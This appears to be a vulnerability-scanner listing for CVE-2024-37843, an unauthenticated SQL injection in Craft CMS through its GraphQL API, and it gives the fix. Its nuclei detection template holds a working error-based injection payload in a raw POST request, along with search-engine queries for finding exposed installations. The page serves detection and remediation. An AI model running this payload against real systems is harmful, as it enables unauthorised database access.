Browse / CVEs / CVE-2024-37843
CVE-2024-37843· craftcms / craft cms· CWE-89
Craft CMS <=v3.7.31 - SQL Injection
criticalseverity
9.8CVSS score
53.2%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Craft CMS up to v3.7.31 was discovered to contain a SQL injection vulnerability via the GraphQL API endpoint.
Impact
Unauthenticated attackers can execute arbitrary SQL queries via the GraphQL API endpoint, potentially compromising the database.
Fix
Update Craft CMS to a version later than v3.7.31.
How to confirm it
Send: POST /api/
Positive when: contains "General error: 1105 XPATH syntax error: '\\n{{matcher}}" AND contains in content_type "application/json"Run it with nuclei: nuclei -id CVE-2024-37843 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-37843
info:
name: Craft CMS <=v3.7.31 - SQL Injection
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Craft CMS up to v3.7.31 was discovered to contain a SQL injection vulnerability via the GraphQL API endpoint.
impact: |
Unauthenticated attackers can execute arbitrary SQL queries via the GraphQL API endpoint, potentially compromising the database.
remediation: |
Update Craft CMS to a version later than v3.7.31.
reference:
- https://blog.smithsecurity.biz/craft-cms-unauthenticated-sqli-via-graphql
- https://github.com/gsmith257-cyber/CVE-2024-37843-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-37843
cwe-id: CWE-89
epss-score: 0.53242
epss-percentile: 0.98991
cpe: cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*
metadata:
vendor: craftcms
product: craft_cms
shodan-query:
- cpe:"cpe:2.3:a:craftcms:craft_cms"
- http.html:"craftcms"
- http.favicon.hash:"-47932290"
- "X-Powered-By: Craft CMS"
fofa-query:
- body=craftcms
- icon_hash=-47932290
publicwww-query: craftcms
tags: cve,cve2024,craftcms,sqli,vuln
variables:
matcher: "{{rand_base(4)}}"
http:
- raw:
- |
POST /api/ HTTP/1.1
Host: {{Hostname}}
Content-Type:application/json
{"query":"query IntrospectionQuery {assets(orderBy: \"`assets`.`volumeId`,extractvalue(1,concat(0x0a,concat('{{matcher}}',version()))) --\", limit: 5){filename}}"}
skip-variables-check: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "General error: 1105 XPATH syntax error: '\\n{{matcher}}"
- type: word
part: content_type
words:
- "application/json"References
- https://blog.smithsecurity.biz/craft-cms-unauthenticated-sqli-via-graphql
- https://github.com/gsmith257-cyber/CVE-2024-37843-POC
Use this check only on systems you are authorised to test. Where the data comes from